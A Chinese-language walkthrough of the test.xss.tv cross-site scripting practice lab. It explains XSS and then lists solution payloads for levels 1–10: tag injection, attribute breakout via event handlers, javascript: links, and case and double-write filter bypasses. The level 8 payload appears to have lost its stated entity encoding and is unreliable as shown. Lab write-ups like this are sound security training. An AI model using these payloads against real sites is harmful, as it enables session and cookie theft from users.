前记
XSS攻击
通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
简述
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
原理
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,
题目网址:http://test.xss.tv/
level1
第一关就用最常用的攻击语句试试。
payload:
<script>alert(1)</script>
level2
观察源代码,发现需要把前面的<input>
标签给闭合掉。
payload:
"><script>alert(/hacker/)</script>
level3
观察页面源代码,是单引号,在前面加'
把value
给闭合掉。
payload:
' onmouseover='alert(1)
level4
这里是双引号,在前面输入"
,把value
给闭合掉。
payload:
" onmouseover="alert(1)
level5
试试script,再看页面源代码,script被过滤了,那就用标签构造攻击语句试试。
payload:
"><a href="javascript:alert(1)">aa</a>//
level6
发现href
和script
都被过滤了,在上题基础上换大写试试。
payload:
"><a Href="javascript:alert(1)">aa</a>//
然后点击aa
标签即可。
level7
用双写绕过,过滤掉其中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。
payload:
"><sscriptcript>alert(/hacker/)</sscriptcript>
level8
下面有<a>
标签,直接输入这个语句
javascript:alert(/hacker/)
但是script会被过滤,换一种方式表达script,采用HTML字符实体转换地址。
payload:
javascript:alert(1)
level9
又是友情链接,发现输入的语句并没有进入到 <a>
标签中,这里应该对格式有一定要求,查看其他博客后发现需要添加http://
,否则不合法。
payload:
javascript:alert('http://')
level10
查看页面源代码,发现t_sort
就是注入点,那就开始注入吧,代码中有隐藏的参数设置,把hidden
改为text
。
payload:
&t_sort=8888" type="text" onmouseover="alert(666)